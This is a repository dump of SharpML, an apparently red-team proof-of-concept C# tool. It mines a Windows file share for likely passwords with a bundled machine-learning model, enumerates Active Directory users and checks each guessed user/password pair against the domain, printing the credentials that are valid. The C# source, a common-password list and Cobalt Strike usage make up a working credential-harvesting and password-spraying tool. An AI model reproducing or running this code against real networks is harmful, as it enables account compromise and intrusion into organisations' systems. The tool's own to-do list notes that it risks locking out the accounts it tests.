├── .gitattributes ├── .vs └── SharpML │ └── v16 │ ├── .suo │ └── Server │ └── sqlite3 │ ├── db.lock │ ├── storage.ide │ ├── storage.ide-shm │ └── storage.ide-wal ├── ADAuth.cs ├── FindADObjects.cs ├── GetDomain.cs ├── LICENSE ├── LineReader.cs ├── PairUPProcessing.cs ├── PerformModelWrapperInterop.cs ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs └── Resources.resx ├── README.md ├── Resources ├── 10k.txt ├── model.exe └── rules.bin ├── SharpML.csproj ├── SharpML.csproj.user ├── SharpML.sln ├── app.config ├── bin └── x86 │ └── Debug │ ├── ILMerge │ ├── SharpML.exe │ ├── SharpML.merge.json │ └── SharpML.pdb │ ├── NDesk.Options.dll │ ├── SharpML.exe │ ├── SharpML.exe.config │ └── SharpML.pdb ├── dataMiner.cs ├── dropDependencies.cs ├── img ├── github.png └── sharpml_logic.png ├── obj ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpML.csproj.CoreCompileInputs.cache │ ├── SharpML.csproj.FileListAbsolute.txt │ ├── SharpML.csprojAssemblyReference.cache │ ├── SharpML.exe │ ├── SharpML.pdb │ └── build.force └── x86 │ └── Debug │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpML.Properties.Resources.resources │ ├── SharpML.csproj.CopyComplete │ ├── SharpML.csproj.CoreCompileInputs.cache │ ├── SharpML.csproj.FileListAbsolute.txt │ ├── SharpML.csproj.GenerateResource.cache │ ├── SharpML.csproj.ResolveComReference.cache │ ├── SharpML.csprojAssemblyReference.cache │ ├── SharpML.exe │ ├── SharpML.pdb │ └── TempPE │ ├── Properties.Resources.Designer.cs.dll │ ├── Resource1.Designer.cs.dll │ └── resx.Designer.cs.dll ├── packages.config └── packages ├── ILMerge.3.0.29 ├── .signature.p7s ├── ILMerge.3.0.29.nupkg ├── build │ └── ILMerge.props ├── docs │ └── ilmerge-manual.md └── tools │ └── net452 │ ├── ILMerge.exe │ └── System.Compiler.dll ├── ILMerge.MSBuild.Task.1.0.7 ├── .signature.p7s ├── ILMerge.MSBuild.Task.1.0.7.nupkg ├── build │ └── ILMerge.MSBuild.Task.targets └── tools │ ├── ILMerge.MsBuild.Task.dll │ └── ILMerge.MsBuild.Task.pdb └── NDesk.Options.0.2.1 ├── .signature.p7s ├── NDesk.Options.0.2.1.nupkg └── lib └── NDesk.Options.dll /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.vs/SharpML/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/.vs/SharpML/v16/.suo -------------------------------------------------------------------------------- /.vs/SharpML/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/.vs/SharpML/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /.vs/SharpML/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/.vs/SharpML/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /.vs/SharpML/v16/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/.vs/SharpML/v16/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /.vs/SharpML/v16/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/.vs/SharpML/v16/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /ADAuth.cs: -------------------------------------------------------------------------------- 1 | using System.DirectoryServices; 2 | using System.DirectoryServices.AccountManagement; 3 | 4 | namespace SharpML 5 | { 6 | public class ADAuth 7 | { 8 | public static bool Authenticate(string userName, string password, string domain) 9 | { 10 | bool authentic = false; 11 | try 12 | { 13 | DirectoryEntry entry = new DirectoryEntry("LDAP://" + domain, userName, password); 14 | object nativeObject = entry.NativeObject; 15 | authentic = true; 16 | } 17 | catch (DirectoryServicesCOMException) { } 18 | return authentic; 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /FindADObjects.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.DirectoryServices; 3 | using System.DirectoryServices.ActiveDirectory; 4 | using System.Linq; 5 | 6 | namespace SharpML 7 | { 8 | public class ADObjects 9 | { 10 | public static List ADuser() 11 | { 12 | DirectoryEntry directoryEntry = new DirectoryEntry("WinNT://" + Domain.GetComputerDomain()); 13 | List userNames = new List(); 14 | 15 | foreach (DirectoryEntry child in directoryEntry.Children) 16 | { 17 | if (child.SchemaClassName == "User") 18 | { 19 | userNames.Add(child.Name); 20 | } 21 | 22 | } 23 | return userNames; 24 | } 25 | 26 | 27 | } 28 | } -------------------------------------------------------------------------------- /GetDomain.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpML 5 | { 6 | public static class DomainInformation 7 | { 8 | [DllImport("Netapi32.dll")] 9 | static extern int NetApiBufferFree(IntPtr Buffer); 10 | 11 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 12 | static extern int NetGetJoinInformation( 13 | string server, 14 | out IntPtr domain, 15 | out NetJoinStatus status); 16 | 17 | // Win32 Result Code Constant 18 | const int ErrorSuccess = 0; 19 | 20 | public enum NetJoinStatus 21 | { 22 | NetSetupUnknownStatus = 0, 23 | NetSetupUnjoined, 24 | NetSetupWorkgroupName, 25 | NetSetupDomainName 26 | } 27 | 28 | // Returns the domain name the computer is joined to, or "" if not joined. 29 | public static string GetDomainOrWorkgroup() 30 | { 31 | int result = 0; 32 | string domain = null; 33 | IntPtr pDomain = IntPtr.Zero; 34 | NetJoinStatus status = NetJoinStatus.NetSetupUnknownStatus; 35 | try 36 | { 37 | result = NetGetJoinInformation(null, out pDomain, out status); 38 | if (result == ErrorSuccess) 39 | switch (status) 40 | { 41 | case NetJoinStatus.NetSetupDomainName: 42 | case NetJoinStatus.NetSetupWorkgroupName: 43 | domain = Marshal.PtrToStringAuto(pDomain); 44 | break; 45 | } 46 | } 47 | finally 48 | { 49 | if (pDomain != IntPtr.Zero) 50 | NetApiBufferFree(pDomain); 51 | } 52 | if (domain == null) domain = ""; 53 | return domain; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Hunnic Cyber Limited 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LineReader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Text; 6 | 7 | namespace SharpML 8 | { 9 | /// 10 | /// Reads a data source line by line. The source can be a file, a stream, 11 | /// or a text reader. In any case, the source is only opened when the 12 | /// enumerator is fetched, and is closed when the iterator is disposed. 13 | /// 14 | public sealed class LineReader : IEnumerable 15 | { 16 | /// 17 | /// Means of creating a TextReader to read from. 18 | /// 19 | readonly Func dataSource; 20 | 21 | /// 22 | /// Creates a LineReader from a stream source. The delegate is only 23 | /// called when the enumerator is fetched. UTF-8 is used to decode 24 | /// the stream into text. 25 | /// 26 | /// Data source 27 | public LineReader(Func streamSource) 28 | : this(streamSource, Encoding.UTF8) 29 | { 30 | } 31 | 32 | /// 33 | /// Creates a LineReader from a stream source. The delegate is only 34 | /// called when the enumerator is fetched. 35 | /// 36 | /// Data source 37 | /// Encoding to use to decode the stream 38 | /// into text 39 | public LineReader(Func streamSource, Encoding encoding) 40 | : this(() => new StreamReader(streamSource(), encoding)) 41 | { 42 | } 43 | 44 | /// 45 | /// Creates a LineReader from a filename. The file is only opened 46 | /// (or even checked for existence) when the enumerator is fetched. 47 | /// UTF8 is used to decode the file into text. 48 | /// 49 | /// File to read from 50 | public LineReader(string filename) 51 | : this(filename, Encoding.UTF8) 52 | { 53 | } 54 | 55 | /// 56 | /// Creates a LineReader from a filename. The file is only opened 57 | /// (or even checked for existence) when the enumerator is fetched. 58 | /// 59 | /// File to read from 60 | /// Encoding to use to decode the file 61 | /// into text 62 | public LineReader(string filename, Encoding encoding) 63 | : this(() => new StreamReader(filename, encoding)) 64 | { 65 | } 66 | 67 | /// 68 | /// Creates a LineReader from a TextReader source. The delegate 69 | /// is only called when the enumerator is fetched 70 | /// 71 | /// Data source 72 | public LineReader(Func dataSource) 73 | { 74 | this.dataSource = dataSource; 75 | } 76 | 77 | /// 78 | /// Enumerates the data source line by line. 79 | /// 80 | public IEnumerator GetEnumerator() 81 | { 82 | using (TextReader reader = dataSource()) 83 | { 84 | string line; 85 | while ((line = reader.ReadLine()) != null) 86 | { 87 | yield return line; 88 | } 89 | } 90 | } 91 | 92 | /// 93 | /// Enumerates the data source line by line. 94 | /// 95 | IEnumerator IEnumerable.GetEnumerator() 96 | { 97 | return GetEnumerator(); 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /PairUPProcessing.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text.RegularExpressions; 3 | 4 | namespace SharpML 5 | { 6 | public class PairUPProcessing 7 | { 8 | public static void RunAuthCheck(string data_to_process) 9 | { 10 | try 11 | { 12 | 13 | Console.WriteLine(" ---------- 7. Authentication Test Results ---------- \r\n"); 14 | 15 | bool is_pass = false; 16 | var result = Regex.Split(data_to_process, "\r\n|\r|\n"); 17 | foreach (string line in result) 18 | { 19 | var single_user = line.Split(); 20 | 21 | string user = single_user[0]; 22 | string pass = single_user[2]; 23 | string domain = System.Environment.UserDomainName; 24 | 25 | 26 | Console.WriteLine("Trying user: " + user + " with Password: " + pass + "\r\n"); 27 | 28 | is_pass = ADAuth.Authenticate(user, pass, domain); 29 | 30 | if (is_pass == true) 31 | { 32 | Console.WriteLine("SharpML has succesfully identified user: " + user + " with password: " + pass + " as valid\r\n"); 33 | } 34 | else 35 | { 36 | Console.WriteLine("The user: " + user + " with password: " + pass + " is invalid\r\n"); 37 | } 38 | } 39 | } 40 | catch 41 | { 42 | 43 | } 44 | 45 | 46 | } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /PerformModelWrapperInterop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpML 10 | { 11 | class PerformModelWrapperInterop 12 | { 13 | public static string PerformDataPiping(string rules, string data, string users, string model, string msoftpass = "True", string tenk = "None") 14 | { 15 | ProcessStartInfo _processStartInfo = new ProcessStartInfo(); 16 | _processStartInfo.FileName = model; 17 | _processStartInfo.Arguments = " " + data + " " + users + " " + rules + " " + msoftpass + " " + tenk; 18 | _processStartInfo.CreateNoWindow = true; 19 | _processStartInfo.UseShellExecute = false; 20 | _processStartInfo.RedirectStandardOutput = true; 21 | _processStartInfo.RedirectStandardError = true; 22 | Process myProcess = Process.Start(_processStartInfo); 23 | string error = myProcess.StandardError.ReadToEnd(); 24 | string output = myProcess.StandardOutput.ReadToEnd(); 25 | Console.WriteLine(error); 26 | return output; 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using NDesk.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | 6 | namespace SharpML 7 | { 8 | class Program 9 | { 10 | private static string _share_unc_path = null; 11 | 12 | 13 | 14 | static void Main(string[] args) 15 | { 16 | OptionSet options = new OptionSet() 17 | .Add("u=|uncsharepath=", h => _share_unc_path = h); 18 | 19 | options.Parse(args); 20 | 21 | if (_share_unc_path == null) 22 | { 23 | Console.WriteLine("Please enter the fileshare that you wish to assess"); 24 | Environment.Exit(0); 25 | } 26 | Console.WriteLine("\r\n ---------- 1. Harvesting data from fileshare ----------\r\n"); 27 | dataMiner.ProcessDirectory(_share_unc_path); 28 | 29 | string algo_file = GetRandomString(); 30 | string rules_file = GetRandomString(); 31 | string tenk = GetRandomString(); 32 | string mod_data = (System.Environment.GetEnvironmentVariable("TEMP") + @"\model_data.txt"); 33 | DropDependencies drop = new DropDependencies(); 34 | 35 | string dropped_algo = drop.DropModeltoDisk(algo_file); 36 | string dropped_rules = drop.DropRulestoDisk(rules_file); 37 | string dropped_10k = drop.Drop10ktoDisk(tenk); 38 | Console.WriteLine("\r\n ---------- 2. Successfully dropped dependencies ----------\r\n"); 39 | 40 | 41 | 42 | string ad_user_txt_path = Path.GetTempPath() + GetRandomString() + ".txt"; 43 | //Console.WriteLine(ad_user_txt_path); 44 | List ADuserNames = ADObjects.ADuser(); 45 | try 46 | { 47 | using (StreamWriter outputFile = new StreamWriter(ad_user_txt_path)) 48 | { 49 | foreach (string line in ADuserNames) 50 | outputFile.WriteLine(line); 51 | 52 | } 53 | Console.WriteLine("\r\n ---------- 3. Active Directory user list generated ----------\r\n"); 54 | } 55 | catch 56 | { 57 | Console.WriteLine("\r\n ---------- failed to create Active Directory user list ----------\r\n"); 58 | Environment.Exit(1); 59 | } 60 | Console.WriteLine("\r\n ---------- 4. Piping data to SharpML algorithm ----------\r\n"); 61 | string data_to_process = PerformModelWrapperInterop.PerformDataPiping(dropped_rules, mod_data, ad_user_txt_path, dropped_algo, "false", dropped_10k); 62 | 63 | if (data_to_process != null) 64 | { 65 | 66 | Console.WriteLine("\r\n ---------- 5. Potential user password combinations ----------\r\n"); 67 | Console.WriteLine(data_to_process); 68 | Console.WriteLine("\r\n ---------- 6. Performing Active Directory authentication test ----------\r\n"); 69 | 70 | 71 | PairUPProcessing.RunAuthCheck(data_to_process); 72 | //foreach(string user in users_found) 73 | //{ 74 | // Console.WriteLine(user); 75 | //} 76 | } 77 | else 78 | { 79 | Console.WriteLine("\r\n ---------- SharpML failed to find any password :( Try another network share ----------\r\n"); 80 | Environment.Exit(1); 81 | } 82 | 83 | 84 | } 85 | 86 | public static string GetRandomString() 87 | { 88 | string path = Path.GetRandomFileName(); 89 | path = path.Replace(".", ""); // Remove period. 90 | return path; 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpML")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpML")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0a57dd96-6c22-44a3-b1a5-bca288185ca4")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | 38 | -------------------------------------------------------------------------------- /Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpML.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | public class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | public static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpML.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | public static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized string similar to 123456 65 | ///password 66 | ///12345678 67 | ///qwerty 68 | ///123456789 69 | ///12345 70 | ///1234 71 | ///111111 72 | ///1234567 73 | ///dragon 74 | ///123123 75 | ///baseball 76 | ///abc123 77 | ///football 78 | ///monkey 79 | ///letmein 80 | ///696969 81 | ///shadow 82 | ///master 83 | ///666666 84 | ///qwertyuiop 85 | ///123321 86 | ///mustang 87 | ///1234567890 88 | ///michael 89 | ///654321 90 | ///pussy 91 | ///superman 92 | ///1qaz2wsx 93 | ///7777777 94 | ///fuckyou 95 | ///121212 96 | ///000000 97 | ///qazwsx 98 | ///123qwe 99 | ///killer 100 | ///trustno1 101 | ///jordan 102 | ///jennifer 103 | ///zxcvbnm 104 | ///asdfgh 105 | ///hunter 106 | ///buster 107 | ///soccer 108 | ///harley 109 | ///batman 110 | ///andrew 111 | ///tigger 112 | ///sunshine 113 | ///iloveyou 114 | ///fuckme 115 | ///2000 116 | ///charlie 117 | ///robert 118 | ///thomas 119 | ///hockey 120 | ///ranger 121 | ///daniel 122 | ///starwars 123 | ///klaster 124 | ///112233 125 | ///george 126 | ///asshole 127 | ///computer 128 | ///michelle 129 | ///jessica 130 | ///pepper 131 | ///1 [rest of string was truncated]";. 132 | /// 133 | public static string _10k { 134 | get { 135 | return ResourceManager.GetString("_10k", resourceCulture); 136 | } 137 | } 138 | 139 | /// 140 | /// Looks up a localized resource of type System.Byte[]. 141 | /// 142 | public static byte[] model { 143 | get { 144 | object obj = ResourceManager.GetObject("model", resourceCulture); 145 | return ((byte[])(obj)); 146 | } 147 | } 148 | 149 | /// 150 | /// Looks up a localized resource of type System.Byte[]. 151 | /// 152 | public static byte[] rules { 153 | get { 154 | object obj = ResourceManager.GetObject("rules", resourceCulture); 155 | return ((byte[])(obj)); 156 | } 157 | } 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\model.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | 125 | ..\Resources\10k.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 126 | 127 | 128 | ..\Resources\rules.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 129 | 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpML 2 | 3 | 4 | SharpML is a proof of concept file share data mining tool using Machine Learning in Python and C#. 5 | 6 | The tool is discussed in more detail on our blog [here](https://blog.hunniccyber.com/password-hunting-with-ml-in-active-directory/index.html), but is summarised below also: 7 | 8 | SharpML is C# and Python based tool that performs a number of operations with a view to mining file shares, querying Active Directory for users, dropping an ML model and associated rules, perfoming Active Directory authentication checks, with a view to automating the process of hunting for passwords in file shares by feeding the mined data into the ML model. 9 | 10 | The ML model is written in Python, and has been developed using a custom algorithm to identify likelyhoods of passwords. The model has been compiled with PyInstaller and sits as resource file in the C# wrapper, which interops between itself, the data and the model. The program logic can be seen below: 11 | 12 | ![Program_logic](img/sharpml_logic.png) 13 | 14 | Currently it allows for a single file share to be assessed. 15 | 16 | You will need to have read access to the file share you are targeting, after which the tool will perform its activities mostly autonomously. 17 | 18 | There a compiled release in the release section, and it is to be noted that this tool is currently a PoC and subject to numerous improvements. 19 | 20 | ## Usage: 21 | 22 | cmd.exe 23 | ``` 24 | C:\> SharpML.exe -u \\fileshare\d$ 25 | ``` 26 | 27 | Cobalt Strike 28 | 29 | ``` 30 | > execute-assembly SharpML.exe -u \\fileshare\d$ 31 | ``` 32 | 33 | ## Authors 34 | 35 | Marco Valentini 36 | 37 | Tom Kallo 38 | 39 | ## To Do 40 | 41 | - When SharpML is run it will attempt to verify all users that it finds. If a restrictive domain lockout policy exits, it may attempt to verify users multiple times and lock the account out in event of multiple failed authentications 42 | - Some file size limitations need to be implemented in order for larger text based files not to cause a bottle neck when copying the raw data 43 | - Select the option of running multiple file shares simultaneously. By implementing an automatic share finder, allow SharpML to be completely autonomous and scour the whole network 44 | - Improve some program logic, including further options such as the choice of cehcking against 10,000 most common passwords or not 45 | -------------------------------------------------------------------------------- /Resources/model.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/Resources/model.exe -------------------------------------------------------------------------------- /Resources/rules.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/Resources/rules.bin -------------------------------------------------------------------------------- /SharpML.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4} 9 | Exe 10 | SharpML 11 | SharpML 12 | v4.5 13 | 512 14 | true 15 | 16 | 17 | 18 | publish\ 19 | true 20 | Disk 21 | false 22 | Foreground 23 | 7 24 | Days 25 | false 26 | false 27 | true 28 | 0 29 | 1.0.0.%2a 30 | false 31 | false 32 | true 33 | 34 | 35 | AnyCPU 36 | true 37 | full 38 | false 39 | bin\Debug\ 40 | DEBUG;TRACE 41 | prompt 42 | 4 43 | false 44 | 45 | 46 | AnyCPU 47 | pdbonly 48 | true 49 | bin\Release\ 50 | TRACE 51 | prompt 52 | 4 53 | false 54 | 55 | 56 | true 57 | bin\x86\Debug\ 58 | DEBUG;TRACE 59 | full 60 | x86 61 | prompt 62 | MinimumRecommendedRules.ruleset 63 | false 64 | 65 | 66 | bin\x86\Release\ 67 | TRACE 68 | true 69 | pdbonly 70 | x86 71 | prompt 72 | MinimumRecommendedRules.ruleset 73 | false 74 | 75 | 76 | 77 | packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | True 96 | True 97 | Resources.resx 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | {2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} 113 | 2 114 | 8 115 | 0 116 | primary 117 | False 118 | True 119 | 120 | 121 | {4AC9E1DA-5BAD-4AC7-86E3-24F4CDCECA28} 122 | 12 123 | 0 124 | 0 125 | primary 126 | False 127 | True 128 | 129 | 130 | {00020813-0000-0000-C000-000000000046} 131 | 1 132 | 9 133 | 0 134 | primary 135 | False 136 | True 137 | 138 | 139 | {0002E157-0000-0000-C000-000000000046} 140 | 5 141 | 3 142 | 0 143 | primary 144 | False 145 | True 146 | 147 | 148 | 149 | 150 | PublicResXFileCodeGenerator 151 | Resources.Designer.cs 152 | 153 | 154 | 155 | 156 | False 157 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29 158 | true 159 | 160 | 161 | False 162 | .NET Framework 3.5 SP1 163 | false 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 177 | 178 | 179 | 180 | 181 | -------------------------------------------------------------------------------- /SharpML.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | -------------------------------------------------------------------------------- /SharpML.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29009.5 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpML", "SharpML.csproj", "{0A57DD96-6C22-44A3-B1A5-BCA288185CA4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Debug|x86.ActiveCfg = Debug|x86 19 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Debug|x86.Build.0 = Debug|x86 20 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Release|x86.ActiveCfg = Release|x86 23 | {0A57DD96-6C22-44A3-B1A5-BCA288185CA4}.Release|x86.Build.0 = Release|x86 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7FBB0CF1-8ADA-47D9-9435-65BF34DD0A7E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /bin/x86/Debug/ILMerge/SharpML.exe: -------------------------------------------------------------------------------- 